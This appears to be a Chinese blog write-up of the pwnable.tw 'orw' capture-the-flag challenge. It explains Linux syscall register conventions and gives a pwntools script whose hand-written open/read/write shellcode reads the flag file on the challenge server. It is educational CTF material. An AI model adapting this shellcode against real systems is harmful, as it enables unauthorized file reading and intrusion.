美文网首页
[pwnable.tw]-orw

[pwnable.tw]-orw

作者: 2mpossible | 来源:发表于2018-12-20 09:06 被阅读0次
    • 考验我们直接编写shellcode的能力,这里注意

    • 对于32位程序,应调用int $0x80进入系统调用,将系统调用号传入eax,各个参数按照ebx、ecx、edx的顺序传递到寄存器中,系统调用返回值储存到eax寄存器。

    • 对于64位程序,应调用syscall进入系统调用,将系统调用号传入rax,各个参数按照rdi、rsi、rdx的顺序传递到寄存器中,系统调用返回值储存到rax寄存器。

    exp:

    from pwn import *
    
    context.binary = './orw'
    
    #p = process('./orw')
    p = remote('chall.pwnable.tw', 10001)
    
    shellcode = asm(
                    #fd = open('/home/orw/flag',0)
                    '''
                    push 0x00006761;
                    push 0x6c662f77;
                    push 0x726f2f65;
                    push 0x6d6f682f;
                    mov ecx, 0x0;
                    mov ebx, esp;
                    mov eax, 0x5;
                    int 0x80;
                    '''
    
                    #read(fd,bss+0x200,0x40)
                    '''
                    mov ebx, eax;
                    mov ecx, 0x0804A260;
                    mov edx, 0x40;
                    mov eax, 0x3;
                    int 0x80;
                    '''
    
                    #write(1,bss+0x200,0x40)
                    '''
                    mov ebx, 0x1;
                    mov ecx, 0x0804A260;
                    mov edx, 0x40;
                    mov eax, 0x4;
                    int 0x80;
                    '''
                    )
    p.sendline(shellcode)
    
    
    p.interactive()
    

    参考文章:

    相关文章

      网友评论

          本文标题:[pwnable.tw]-orw

          本文链接:https://www.haomeiwen.com/subject/vvyekqtx.html